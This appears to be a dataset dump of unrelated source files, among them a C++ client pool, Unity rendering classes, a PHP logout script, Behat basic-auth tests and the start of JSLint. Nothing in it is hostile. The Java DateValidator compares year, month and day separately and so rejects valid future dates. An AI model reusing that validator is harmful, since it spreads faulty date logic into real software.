code stringlengths 4 1.01M |
|---|
<div class="sidebar">
<div class="sidebar-sticky">
<a href="{{ site.baseurl }}"><img class="sidebarimage" src="http://whataboutas.data.s3.amazonaws.com/images/SidebarImage.jpg" /></a>
<div class="sidebar-about">
<header class="masthead">
<h3 class="masthead-title">
<a href="{{ site.baseurl }}" title="Home">{{ site.title }}</a>
</h3>
<h3 class="masthead-title">
<small>{{ site.tagline }}</small>
</h3>
</header>
<p class="lead">{{ site.description }}</p>
</div>
<nav class="sidebar-nav">
<a class="sidebar-nav-item{% if page.url == site.baseurl %} active{% endif %}" href="{{ site.baseurl }}">Home</a>
{% comment %}
The code below dynamically generates a sidebar nav of pages with
`layout: page` in the front-matter. See readme for usage.
{% endcomment %}
{% assign pages_list = site.pages %}
{% for node in pages_list %}
{% if node.title != null %}
{% if node.layout == "page" %}
<a class="sidebar-nav-item{% if page.url == node.url %} active{% endif %}" href="{{ node.url }}">{{ node.title }}</a>
{% endif %}
{% endif %}
{% endfor %}
</nav>
</div>
</div>
|
/*
The MIT License (MIT)
Copyright (c) <2010-2020> <wenshengming>
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
#include "LClientManager.h"
#include "LClient.h"
#include "LLoginServerMainLogic.h"
LClientManager::~LClientManager()
{
m_pLSMainLogic = NULL;
}
LClientManager::LClientManager()
{
}
// 初始化连接
bool LClientManager::Initialize(unsigned int unMaxClientServ)
{
if (m_pLSMainLogic == NULL)
{
return false;
}
if (unMaxClientServ == 0)
{
unMaxClientServ = 1000;
}
for (unsigned int ui = 0; ui < unMaxClientServ; ++ui)
{
LClient *pClient = new LClient;
if (pClient == NULL)
{
return false;
}
m_queueClientPool.push(pClient);
}
return true;
}
// 网络层SessionID,tsa连接信息
bool LClientManager::AddNewUpSession(uint64_t u64SessionID, t_Session_Accepted& tsa)
{
map<uint64_t, LClient*>::iterator _ito = m_mapClientManagerBySessionID.find(u64SessionID);
if (_ito != m_mapClientManagerBySessionID.end())
{
return false;
}
LClient* pClient = GetOneClientFromPool();
if (pClient == NULL)
{
return false;
}
pClient->SetClientInfo(u64SessionID, tsa);
m_mapClientManagerBySessionID[u64SessionID] = pClient;
return true;
}
void LClientManager::RemoveOneSession(uint64_t u64SessionID)
{
map<uint64_t, LClient*>::iterator _ito = m_mapClientManagerBySessionID.find(u64SessionID);
if (_ito != m_mapClientManagerBySessionID.end())
{
FreeOneClientToPool(_ito->second);
m_mapClientManagerBySessionID.erase(_ito);
}
}
LClient* LClientManager::GetOneClientFromPool()
{
if (m_queueClientPool.empty())
{
return NULL;
}
LClient* pClient = m_queueClientPool.front();
m_queueClientPool.pop();
return pClient;
}
void LClientManager::FreeOneClientToPool(LClient* pClient)
{
if (pClient == NULL)
{
return ;
}
m_queueClientPool.push(pClient);
}
LClient* LClientManager::FindClientBySessionID(uint64_t u64SessionID)
{
map<uint64_t, LClient*>::iterator _ito = m_mapClientManagerBySessionID.find(u64SessionID);
if (_ito == m_mapClientManagerBySessionID.end())
{
return NULL;
}
return _ito->second;
}
void LClientManager::SetLSMainLogic(LLoginServerMainLogic* plsml)
{
m_pLSMainLogic = plsml;
}
LLoginServerMainLogic* LClientManager::GetLSMainLogic()
{
return m_pLSMainLogic;
}
unsigned int LClientManager::GetClientCount()
{
return m_mapClientManagerBySessionID.size();
}
|
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<meta name="author" content="">
<title>Chart</title>
<link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.0.0-beta/css/bootstrap.css"/>
<script src="https://cdnjs.cloudflare.com/ajax/libs/Chart.js/2.7.0/Chart.bundle.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/moment.js/2.19.1/moment.min.js"></script>
<script src="https://cdn.plot.ly/plotly-latest.min.js"></script>
<script src="data/"></script>
</head>
<body class="fixed-nav sticky-footer bg-dark" id="page-top">
<!-- Navigation-->
<div class="content-wrapper">
<div class="container-fluid">
<div class="card mb-3">
<div class="card-header">
<i class="fa fa-area-chart"></i> Area Chart Example</div>
<div class="card-body">
<canvas id="chart-0" width="100%" height="30"></canvas>
</div>
<div class="card-footer small text-muted">Updated yesterday at 11:59 PM</div>
</div>
<div class="card mb-3">
<div class="card-header">
<i class="fa fa-area-chart"></i> Area Chart Example</div>
<div class="card-body">
<div id="chart-1" width="100%" height="250px"></div>
</div>
<div class="card-footer small text-muted">Updated yesterday at 11:59 PM</div>
</div>
</div>
<script language="javascript">
const data_sorted = data.sort(function(a, b) {
return a[0] - b[0];
});
labels=[];
temperature=[];
humidity=[];
for (var i = data_sorted.length - 1; i >= 0; i--) {
labels[i] = moment(data_sorted[i][0], 'X').utc().format();
temperature[i] = data_sorted[i][1];
humidity[i] = data_sorted[i][2];
}
var ctx = document.getElementById("chart-0").getContext('2d');
var chart = new Chart(ctx, {
type: 'line',
data: { labels:labels,
datasets: [
{data:temperature, label:"Temperature", "borderColor":"rgb(75, 192, 192)"},
{data:humidity, label:"Humidity","borderColor":"rgb(192, 192, 75)"}]
},
options:
{
responsive: true,
title:{
display:true,
text:"Chart.js Time Point Data"
},
},
options: {
scales: {
xAxes: [{
type: 'time',
time: { unit: 'day'}
}],
yAxes: [{
ticks: {
beginAtZero:true
}
}]
}
}
});
var trace1 = {
type: "scatter",
mode: "lines",
name: 'Temperature',
x: labels,
y: temperature,
line: {color: '#17BECF'}
}
var trace2 = {
type: "scatter",
mode: "lines",
name: 'Humidity',
x: labels,
y: humidity,
line: {color: '#7F7F7F'}
}
Plotly.plot( 'chart-1', [trace1,trace2], {
margin: { t: 0 } } );
</script>
</body>
</html>
|
package fr.univ_tln.trailscommunity.utilities.validators;
import java.util.Calendar;
/**
* Project TrailsCommunity.
* Package fr.univ_tln.trailscommunity.utilities.validators.
* File DateValidator.java.
* Created by Ysee on 26/11/2016 - 15:54.
* www.yseemonnier.com
* https://github.com/YMonnier
*/
public class DateValidator {
/**
* Test if the calendar date is not a past date.
* @param calendar calendar for validation.
* @return true if time calendar in millisecond is
* greater than current system time.
*/
public static boolean validate(Calendar calendar) {
Calendar currentCalendar = Calendar.getInstance();
if (currentCalendar == null)
return false;
currentCalendar.setTimeInMillis(System.currentTimeMillis());
return calendar.get(Calendar.YEAR) >= currentCalendar.get(Calendar.YEAR)
&& calendar.get(Calendar.MONTH) >= currentCalendar.get(Calendar.MONTH)
&& calendar.get(Calendar.DATE) >= currentCalendar.get(Calendar.DATE);
}
}
|
import webpack from 'webpack';
import webpackConfig from '../webpack.config.js';
async function build() {
return new Promise((resolve, reject) => {
webpack(webpackConfig[1]).run((errServer, serverStats) => {
if (errServer) reject(errServer);
console.log(serverStats.toString(webpackConfig[1].stats));
webpack(webpackConfig[0]).run((errClient, clientStats) => {
if (errClient) reject(errClient);
console.log(clientStats.toString(webpackConfig[0].stats));
resolve();
});
});
});
}
export default build;
|
package io.inbot.utils.maps;
import java.util.Collection;
import java.util.function.Supplier;
public interface RichMultiMap<K, V> extends RichMap<K,Collection<V>> {
Supplier<Collection<V>> supplier();
default Collection<V> putValue(K key, V value) {
Collection<V> collection = getOrCreate(key, supplier());
collection.add(value);
return collection;
}
@SuppressWarnings("unchecked")
default void putValue(Entry<K,V>...entries) {
for(Entry<K, V> e: entries) {
putValue(e.getKey(),e.getValue());
}
}
} |
using System;
using UnityEditor.Graphing;
using UnityEngine;
using Object = UnityEngine.Object;
using UnityEditor.UIElements;
using UnityEngine.UIElements;
namespace UnityEditor.ShaderGraph.Drawing.Slots
{
class TextureSlotControlView : VisualElement
{
Texture2DInputMaterialSlot m_Slot;
public TextureSlotControlView(Texture2DInputMaterialSlot slot)
{
m_Slot = slot;
styleSheets.Add(Resources.Load<StyleSheet>("Styles/Controls/TextureSlotControlView"));
var objectField = new ObjectField { objectType = typeof(Texture), value = m_Slot.texture };
objectField.RegisterValueChangedCallback(OnValueChanged);
Add(objectField);
}
void OnValueChanged(ChangeEvent<Object> evt)
{
var texture = evt.newValue as Texture;
if (texture != m_Slot.texture)
{
m_Slot.owner.owner.owner.RegisterCompleteObjectUndo("Change Texture");
m_Slot.texture = texture;
m_Slot.owner.Dirty(ModificationScope.Node);
}
}
}
}
|
using System;
using System.Diagnostics;
using UnityEngine.Rendering;
namespace UnityEngine.Experimental.Rendering.HDPipeline
{
// This enum is just here to centralize UniqueID values for skies provided with HDRP
public enum SkyType
{
HDRISky = 1,
ProceduralSky = 2,
Gradient = 3,
}
public enum SkyAmbientMode
{
Static,
Dynamic,
}
[Serializable, DebuggerDisplay(k_DebuggerDisplay)]
public sealed class SkyAmbientModeParameter : VolumeParameter<SkyAmbientMode>
{
public SkyAmbientModeParameter(SkyAmbientMode value, bool overrideState = false)
: base(value, overrideState) { }
}
// Keep this class first in the file. Otherwise it seems that the script type is not registered properly.
[Serializable, VolumeComponentMenu("Visual Environment")]
public sealed class VisualEnvironment : VolumeComponent
{
public IntParameter skyType = new IntParameter(0);
public SkyAmbientModeParameter skyAmbientMode = new SkyAmbientModeParameter(SkyAmbientMode.Static);
public FogTypeParameter fogType = new FogTypeParameter(FogType.None);
public void PushFogShaderParameters(HDCamera hdCamera, CommandBuffer cmd)
{
if ((fogType.value != FogType.Volumetric) || (!hdCamera.frameSettings.IsEnabled(FrameSettingsField.Volumetrics)))
{
// If the volumetric fog is not used, we need to make sure that all rendering passes
// (not just the atmospheric scattering one) receive neutral parameters.
VolumetricFog.PushNeutralShaderParameters(cmd);
}
if (!hdCamera.frameSettings.IsEnabled(FrameSettingsField.AtmosphericScattering))
{
cmd.SetGlobalInt(HDShaderIDs._AtmosphericScatteringType, (int)FogType.None);
return;
}
switch (fogType.value)
{
case FogType.None:
{
cmd.SetGlobalInt(HDShaderIDs._AtmosphericScatteringType, (int)FogType.None);
break;
}
case FogType.Linear:
{
var fogSettings = VolumeManager.instance.stack.GetComponent<LinearFog>();
fogSettings.PushShaderParameters(hdCamera, cmd);
break;
}
case FogType.Exponential:
{
var fogSettings = VolumeManager.instance.stack.GetComponent<ExponentialFog>();
fogSettings.PushShaderParameters(hdCamera, cmd);
break;
}
case FogType.Volumetric:
{
if (hdCamera.frameSettings.IsEnabled(FrameSettingsField.Volumetrics))
{
var fogSettings = VolumeManager.instance.stack.GetComponent<VolumetricFog>();
fogSettings.PushShaderParameters(hdCamera, cmd);
}
break;
}
}
}
}
}
|
#include <iostream>
#include <math.h>
#include <vector>
using namespace std;
#define ADJACENT_DIGITS_NUM 4
#define ROW_COL_LENGTH 20
int digits[ROW_COL_LENGTH][ROW_COL_LENGTH] = {
{ 8, 2, 22, 97, 38, 15, 0, 40, 0, 75, 4, 5, 7, 78, 52, 12, 50, 77, 91, 8 },
{ 49, 49, 99, 40, 17, 81, 18, 57, 60, 87, 17, 40, 98, 43, 69, 48, 4, 56, 62, 0 },
{ 81, 49, 31, 73, 55, 79, 14, 29, 93, 71, 40, 67, 53, 88, 30, 3, 49, 13, 36, 65 },
{ 52, 70, 95, 23, 4, 60, 11, 42, 69, 24, 68, 56, 1, 32, 56, 71, 37, 2, 36, 91 },
{ 22, 31, 16, 71, 51, 67, 63, 89, 41, 92, 36, 54, 22, 40, 40, 28, 66, 33, 13, 80 },
{ 24, 47, 32, 60, 99, 3, 45, 2, 44, 75, 33, 53, 78, 36, 84, 20, 35, 17, 12, 50 },
{ 32, 98, 81, 28, 64, 23, 67, 10, 26, 38, 40, 67, 59, 54, 70, 66, 18, 38, 64, 70 },
{ 67, 26, 20, 68, 2, 62, 12, 20, 95, 63, 94, 39, 63, 8, 40, 91, 66, 49, 94, 21 },
{ 24, 55, 58, 5, 66, 73, 99, 26, 97, 17, 78, 78, 96, 83, 14, 88, 34, 89, 63, 72 },
{ 21, 36, 23, 9, 75, 0, 76, 44, 20, 45, 35, 14, 0, 61, 33, 97, 34, 31, 33, 95 },
{ 78, 17, 53, 28, 22, 75, 31, 67, 15, 94, 3, 80, 4, 62, 16, 14, 9, 53, 56, 92 },
{ 16, 39, 5, 42, 96, 35, 31, 47, 55, 58, 88, 24, 0, 17, 54, 24, 36, 29, 85, 57 },
{ 86, 56, 0, 48, 35, 71, 89, 7, 5, 44, 44, 37, 44, 60, 21, 58, 51, 54, 17, 58 },
{ 19, 80, 81, 68, 5, 94, 47, 69, 28, 73, 92, 13, 86, 52, 17, 77, 4, 89, 55, 40 },
{ 4, 52, 8, 83, 97, 35, 99, 16, 7, 97, 57, 32, 16, 26, 26, 79, 33, 27, 98, 66 },
{ 88, 36, 68, 87, 57, 62, 20, 72, 3, 46, 33, 67, 46, 55, 12, 32, 63, 93, 53, 69 },
{ 4, 42, 16, 73, 38, 25, 39, 11, 24, 94, 72, 18, 8, 46, 29, 32, 40, 62, 76, 36 },
{ 20, 69, 36, 41, 72, 30, 23, 88, 34, 62, 99, 69, 82, 67, 59, 85, 74, 4, 36, 16 },
{ 20, 73, 35, 29, 78, 31, 90, 1, 74, 31, 49, 71, 48, 86, 81, 16, 23, 57, 5, 54 },
{ 1, 70, 54, 71, 83, 51, 54, 69, 16, 92, 33, 48, 61, 43, 52, 1, 89, 19, 67, 48 }
};
int main(int argc, char** argv) {
unsigned long highestProduct = 0;
int startI = 0, startJ = 0;
for (int i = 0; i < ROW_COL_LENGTH; i++) {
for (int j = 0; j < ROW_COL_LENGTH; j++) {
if (i < ROW_COL_LENGTH - ADJACENT_DIGITS_NUM &&
j < ROW_COL_LENGTH - ADJACENT_DIGITS_NUM) {
unsigned long productDiagonalLeftToRight =
digits[i][j] *
digits[i + 1][j + 1] *
digits[i + 2][j + 2] *
digits[i + 3][j + 3];
unsigned long productDiagonalRightToLeft =
digits[i][j + 3] *
digits[i + 1][j + 2] *
digits[i + 2][j + 1] *
digits[i + 3][j];
if (productDiagonalLeftToRight > highestProduct) {
highestProduct = productDiagonalLeftToRight;
startI = i;
startJ = j;
}
if (productDiagonalRightToLeft > highestProduct) {
highestProduct = productDiagonalRightToLeft;
startI = i;
startJ = j;
}
}
if (i < ROW_COL_LENGTH - ADJACENT_DIGITS_NUM) {
unsigned long productAcross =
digits[i][j] * digits[i + 1][j] * digits[i + 2][j] * digits[i + 3][j];
if (productAcross > highestProduct) {
highestProduct = productAcross;
startI = i;
startJ = j;
}
}
if (j < ROW_COL_LENGTH - ADJACENT_DIGITS_NUM) {
unsigned long productDown =
digits[i][j] * digits[i][j + 1] * digits[i][j + 2] * digits[i][j + 3];
if (productDown > highestProduct) {
highestProduct = productDown;
startI = i;
startJ = j;
}
}
}
}
cout << "Highest product: " << highestProduct << endl;
cout << "Start at: " << startI << ", " << startJ << endl;
return 0;
}
|
# IWriterOptions.Extension Property
Additional header content
Gets a value than represents extension output file created by writer.
**Namespace:** <a href="N_iTin_Export_ComponentModel_Writer">iTin.Export.ComponentModel.Writer</a><br />**Assembly:** iTin.Export.Core (in iTin.Export.Core.dll) Version: 2.0.0.0 (2.0.0.0)
## Syntax
**C#**<br />
``` C#
string Extension { get; }
```
**VB**<br />
``` VB
ReadOnly Property Extension As String
Get
```
#### Property Value
Type: String<br />A String than contains the writer's output file extension without dot.
## Remarks
\[Missing <remarks> documentation for "P:iTin.Export.ComponentModel.Writer.IWriterOptions.Extension"\]
## See Also
#### Reference
<a href="T_iTin_Export_ComponentModel_Writer_IWriterOptions">IWriterOptions Interface</a><br /><a href="N_iTin_Export_ComponentModel_Writer">iTin.Export.ComponentModel.Writer Namespace</a><br /> |
package event
type Event interface {
// IsCancellable returns true if the current event may be cancelled.
IsCancellable() bool
// SetCancelled makes the event cancelled or not. The value is taken
// into account only if the event is cancellable - you can determine
// it by reading its documentation or calling the IsCancellable function.
SetCancelled(bool)
// IsCancelled returns true if the current event will be cancelled.
// (If the event is cancellable.)
IsCancelled() bool
}
|
<?php
setcookie('accessToken', ' ', time()-3600);
$_SESSION['REQUEST_URI'] = $_SERVER['REQUEST_URI'];
$parts = parse_url($_SERVER['REQUEST_URI']);
$context = substr($parts["path"], 0, strrpos($parts["path"], "/"));
header("Location: " . $context . "/login.html");
exit();
?> |
<?php
namespace Behat\Mink\Tests\Driver\Basic;
use Behat\Mink\Tests\Driver\TestCase;
class BasicAuthTest extends TestCase
{
/**
* @dataProvider setBasicAuthDataProvider
*/
public function testSetBasicAuth($user, $pass, $pageText)
{
$session = $this->getSession();
$session->setBasicAuth($user, $pass);
$session->visit($this->pathTo('/basic_auth.php'));
$this->assertStringContainsString($pageText, $session->getPage()->getContent());
}
public function setBasicAuthDataProvider()
{
return array(
array('mink-user', 'mink-password', 'is authenticated'),
array('', '', 'is not authenticated'),
);
}
public function testBasicAuthInUrl()
{
$session = $this->getSession();
$url = $this->pathTo('/basic_auth.php');
$url = str_replace('://', '://mink-user:mink-password@', $url);
$session->visit($url);
$this->assertStringContainsString('is authenticated', $session->getPage()->getContent());
$url = $this->pathTo('/basic_auth.php');
$url = str_replace('://', '://mink-user:wrong@', $url);
$session->visit($url);
$this->assertStringContainsString('is not authenticated', $session->getPage()->getContent());
}
public function testResetBasicAuth()
{
$session = $this->getSession();
$session->setBasicAuth('mink-user', 'mink-password');
$session->visit($this->pathTo('/basic_auth.php'));
$this->assertStringContainsString('is authenticated', $session->getPage()->getContent());
$session->setBasicAuth(false);
$session->visit($this->pathTo('/headers.php'));
$this->assertStringNotContainsString('PHP_AUTH_USER', $session->getPage()->getContent());
}
public function testResetWithBasicAuth()
{
$session = $this->getSession();
$session->setBasicAuth('mink-user', 'mink-password');
$session->visit($this->pathTo('/basic_auth.php'));
$this->assertStringContainsString('is authenticated', $session->getPage()->getContent());
$session->reset();
$session->visit($this->pathTo('/headers.php'));
$this->assertStringNotContainsString('PHP_AUTH_USER', $session->getPage()->getContent());
}
}
|
export default from './unview.container'
|
<!DOCTYPE html>
<!--
| Generated by Apache Maven Doxia Site Renderer 1.8 from org.apache.maven.plugins:maven-project-info-reports-plugin:2.9:dependency-info at 2021-06-03
| Rendered using Apache Maven Fluido Skin 1.7
-->
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta name="Date-Revision-yyyymmdd" content="20210603" />
<meta http-equiv="Content-Language" content="en" />
<title>java-random – Dependency Information</title>
<link rel="stylesheet" href="./css/apache-maven-fluido-1.7.min.css" />
<link rel="stylesheet" href="./css/site.css" />
<link rel="stylesheet" href="./css/print.css" media="print" />
<script type="text/javascript" src="./js/apache-maven-fluido-1.7.min.js"></script>
</head>
<body class="topBarDisabled">
<div class="container-fluid">
<div id="banner">
<div class="pull-left"><a href="http://www.namics.com" id="bannerLeft"><img src="images/logo.png" alt="Merkle Inc."/></a></div>
<div class="pull-right"></div>
<div class="clear"><hr/></div>
</div>
<div id="breadcrumbs">
<ul class="breadcrumb">
<li id="publishDate">Last Published: 2021-06-03<span class="divider">|</span>
</li>
<li id="projectVersion">Version: 1.2.3</li>
</ul>
</div>
<div class="row-fluid">
<div id="leftColumn" class="span2">
<div class="well sidebar-nav">
<ul class="nav nav-list">
<li class="nav-header">Project</li>
<li><a href="index.html" title="Home"><span class="none"></span>Home</a></li>
<li><a href="./" title="Github"><span class="none"></span>Github</a></li>
<li class="nav-header">Project Documentation</li>
<li><a href="project-info.html" title="Project Information"><span class="icon-chevron-down"></span>Project Information</a>
<ul class="nav nav-list">
<li><a href="dependencies.html" title="Dependencies"><span class="none"></span>Dependencies</a></li>
<li class="active"><a href="#"><span class="none"></span>Dependency Information</a></li>
<li><a href="distribution-management.html" title="Distribution Management"><span class="none"></span>Distribution Management</a></li>
<li><a href="index.html" title="About"><span class="none"></span>About</a></li>
<li><a href="license.html" title="Licenses"><span class="none"></span>Licenses</a></li>
<li><a href="plugin-management.html" title="Plugin Management"><span class="none"></span>Plugin Management</a></li>
<li><a href="plugins.html" title="Plugins"><span class="none"></span>Plugins</a></li>
<li><a href="team-list.html" title="Team"><span class="none"></span>Team</a></li>
<li><a href="source-repository.html" title="Source Code Management"><span class="none"></span>Source Code Management</a></li>
<li><a href="project-summary.html" title="Summary"><span class="none"></span>Summary</a></li>
</ul>
</li>
<li><a href="project-reports.html" title="Project Reports"><span class="icon-chevron-right"></span>Project Reports</a></li>
</ul>
<hr />
<div id="poweredBy">
<div class="clear"></div>
<div class="clear"></div>
<div class="clear"></div>
<div class="clear"></div>
<a href="http://maven.apache.org/" title="Built by Maven" class="poweredBy"><img class="builtBy" alt="Built by Maven" src="./images/logos/maven-feather.png" /></a>
</div>
</div>
</div>
<div id="bodyColumn" class="span10" >
<div class="section">
<h2><a name="Dependency_Information"></a>Dependency Information</h2><a name="Dependency_Information"></a>
<div class="section">
<h3><a name="Apache_Maven"></a>Apache Maven</h3><a name="Apache_Maven"></a>
<div class="source"><pre class="prettyprint linenums"><dependency>
<groupId>com.namics.oss</groupId>
<artifactId>java-random</artifactId>
<version>1.2.3</version>
</dependency></pre></div></div>
<div class="section">
<h3><a name="Apache_Buildr"></a>Apache Buildr</h3><a name="Apache_Buildr"></a>
<div class="source"><pre class="prettyprint linenums">'com.namics.oss:java-random:jar:1.2.3'</pre></div></div>
<div class="section">
<h3><a name="Apache_Ivy"></a>Apache Ivy</h3><a name="Apache_Ivy"></a>
<div class="source"><pre class="prettyprint linenums"><dependency org="com.namics.oss" name="java-random" rev="1.2.3">
<artifact name="java-random" type="jar" />
</dependency></pre></div></div>
<div class="section">
<h3><a name="Groovy_Grape"></a>Groovy Grape</h3><a name="Groovy_Grape"></a>
<div class="source"><pre class="prettyprint linenums">@Grapes(
@Grab(group='com.namics.oss', module='java-random', version='1.2.3')
)</pre></div></div>
<div class="section">
<h3><a name="Gradle.2FGrails"></a>Gradle/Grails</h3><a name="GradleGrails"></a>
<div class="source"><pre class="prettyprint linenums">compile 'com.namics.oss:java-random:1.2.3'</pre></div></div>
<div class="section">
<h3><a name="Scala_SBT"></a>Scala SBT</h3><a name="Scala_SBT"></a>
<div class="source"><pre class="prettyprint linenums">libraryDependencies += "com.namics.oss" % "java-random" % "1.2.3"</pre></div></div>
<div class="section">
<h3><a name="Leiningen"></a>Leiningen</h3><a name="Leiningen"></a>
<div class="source"><pre class="prettyprint linenums">[com.namics.oss/java-random "1.2.3"]</pre></div></div></div>
</div>
</div>
</div>
<hr/>
<footer>
<div class="container-fluid">
<div class="row-fluid">
<p>Copyright ©2021.
All rights reserved.</p>
</div>
</div>
</footer>
</body>
</html>
|
package io.smartlogic.smartchat.hypermedia;
import com.fasterxml.jackson.annotation.JsonProperty;
public class HalSmsVerification {
@JsonProperty("verification_code")
private String verificationCode;
@JsonProperty("verification_phone_number")
private String verificationPhoneNumber;
public String getVerificationCode() {
return verificationCode;
}
public String getVerificationPhoneNumber() {
return verificationPhoneNumber;
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace ManualRevisionAPI.Models
{
public class Role
{
public int ID { get; set; }
public String RoleName { get; set; }
}
}
|
// jslint.js
// 2009-03-28
// TO DO: In ADsafe, make lib run only.
/*
Copyright (c) 2002 Douglas Crockford (www.JSLint.com)
Permission is hereby granted, free of charge, to any person obtaining a copy of
this software and associated documentation files (the "Software"), to deal in
the Software without restriction, including without limitation the rights to
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
of the Software, and to permit persons to whom the Software is furnished to do
so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
The Software shall be used for Good, not Evil.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
/*
JSLINT is a global function. It takes two parameters.
var myResult = JSLINT(source, option);
The first parameter is either a string or an array of strings. If it is a
string, it will be split on '\n' or '\r'. If it is an array of strings, it
is assumed that each string represents one line. The source can be a
JavaScript text, or HTML text, or a Konfabulator text.
The second parameter is an optional object of options which control the
operation of JSLINT. Most of the options are booleans: They are all are
optional and have a default value of false.
If it checks out, JSLINT returns true. Otherwise, it returns false.
If false, you can inspect JSLINT.errors to find out the problems.
JSLINT.errors is an array of objects containing these members:
{
line : The line (relative to 0) at which the lint was found
character : The character (relative to 0) at which the lint was found
reason : The problem
evidence : The text line in which the problem occurred
raw : The raw message before the details were inserted
a : The first detail
b : The second detail
c : The third detail
d : The fourth detail
}
If a fatal error was found, a null will be the last element of the
JSLINT.errors array.
You can request a Function Report, which shows all of the functions
and the parameters and vars that they use. This can be used to find
implied global variables and other problems. The report is in HTML and
can be inserted in an HTML <body>.
var myReport = JSLINT.report(limited);
If limited is true, then the report will be limited to only errors.
*/
/*jslint
evil: true, nomen: false, onevar: false, regexp: false , strict: true
*/
/*global JSLINT*/
/*members "\b", "\t", "\n", "\f", "\r", "\"", "%", "(begin)",
"(breakage)", "(context)", "(error)", "(global)", "(identifier)",
"(line)", "(loopage)", "(name)", "(onevar)", "(params)", "(scope)",
"(verb)", ")", "++", "--", "\/", ADSAFE, Array, Boolean, COM, Canvas,
CustomAnimation, Date, Debug, E, Error, EvalError, FadeAnimation, Flash,
FormField, Frame, Function, HotKey, Image, JSON, LN10, LN2, LOG10E,
LOG2E, MAX_VALUE, MIN_VALUE, Math, MenuItem, MoveAnimation,
NEGATIVE_INFINITY, Number, Object, Option, PI, POSITIVE_INFINITY, Point,
RangeError, Rectangle, ReferenceError, RegExp, ResizeAnimation,
RotateAnimation, SQRT1_2, SQRT2, ScrollBar, String, Style, SyntaxError,
System, Text, TextArea, Timer, TypeError, URIError, URL, Web, Window,
XMLDOM, XMLHttpRequest, "\\", "]", a, abbr, acronym, active, address,
adsafe, after, alert, aliceblue, animator, antiquewhite, appleScript,
applet, apply, approved, aqua, aquamarine, area, arguments, arity,
autocomplete, azure, b, background, "background-attachment",
"background-color", "background-image", "background-position",
"background-repeat", base, bdo, beep, before, beige, big, bisque,
bitwise, black, blanchedalmond, block, blockquote, blue, blueviolet,
blur, body, border, "border-bottom", "border-bottom-color",
"border-bottom-style", "border-bottom-width", "border-collapse",
"border-color", "border-left", "border-left-color", "border-left-style",
"border-left-width", "border-right", "border-right-color",
"border-right-style", "border-right-width", "border-spacing",
"border-style", "border-top", "border-top-color", "border-top-style",
"border-top-width", "border-width", bottom, br, brown, browser,
burlywood, button, bytesToUIString, c, cadetblue, call, callee, caller,
canvas, cap, caption, "caption-side", cases, center, charAt, charCodeAt,
character, chartreuse, chocolate, chooseColor, chooseFile, chooseFolder,
cite, clear, clearInterval, clearTimeout, clip, close, closeWidget,
closed, cm, code, col, colgroup, color, comment, condition, confirm,
console, constructor, content, convertPathToHFS, convertPathToPlatform,
coral, cornflowerblue, cornsilk, "counter-increment", "counter-reset",
create, crimson, css, cursor, cyan, d, darkblue, darkcyan,
darkgoldenrod, darkgray, darkgreen, darkkhaki, darkmagenta,
darkolivegreen, darkorange, darkorchid, darkred, darksalmon,
darkseagreen, darkslateblue, darkslategray, darkturquoise, darkviolet,
dd, debug, decodeURI, decodeURIComponent, deeppink, deepskyblue,
defaultStatus, defineClass, del, deserialize, dfn, dimgray, dir,
direction, display, div, dl, document, dodgerblue, dt, else, em, embed,
empty, "empty-cells", encodeURI, encodeURIComponent, entityify, eqeqeq,
errors, escape, eval, event, evidence, evil, ex, exec, exps, fieldset,
filesystem, firebrick, first, "first-child", "first-letter",
"first-line", float, floor, floralwhite, focus, focusWidget, font,
"font-face", "font-family", "font-size", "font-size-adjust",
"font-stretch", "font-style", "font-variant", "font-weight",
forestgreen, forin, form, fragment, frame, frames, frameset, from,
fromCharCode, fuchsia, fud, funct, function, g, gainsboro, gc,
getComputedStyle, ghostwhite, gold, goldenrod, gray, green, greenyellow,
h1, h2, h3, h4, h5, h6, hasOwnProperty, head, height, help, history,
honeydew, hotpink, hover, hr, html, i, iTunes, id, identifier, iframe,
img, immed, import, in, include, indent, indexOf, indianred, indigo,
init, input, ins, isAlpha, isApplicationRunning, isDigit, isFinite,
isNaN, ivory, join, kbd, khaki, konfabulatorVersion, label, labelled,
lang, lavender, lavenderblush, lawngreen, laxbreak, lbp, led, left,
legend, lemonchiffon, length, "letter-spacing", li, lib, lightblue,
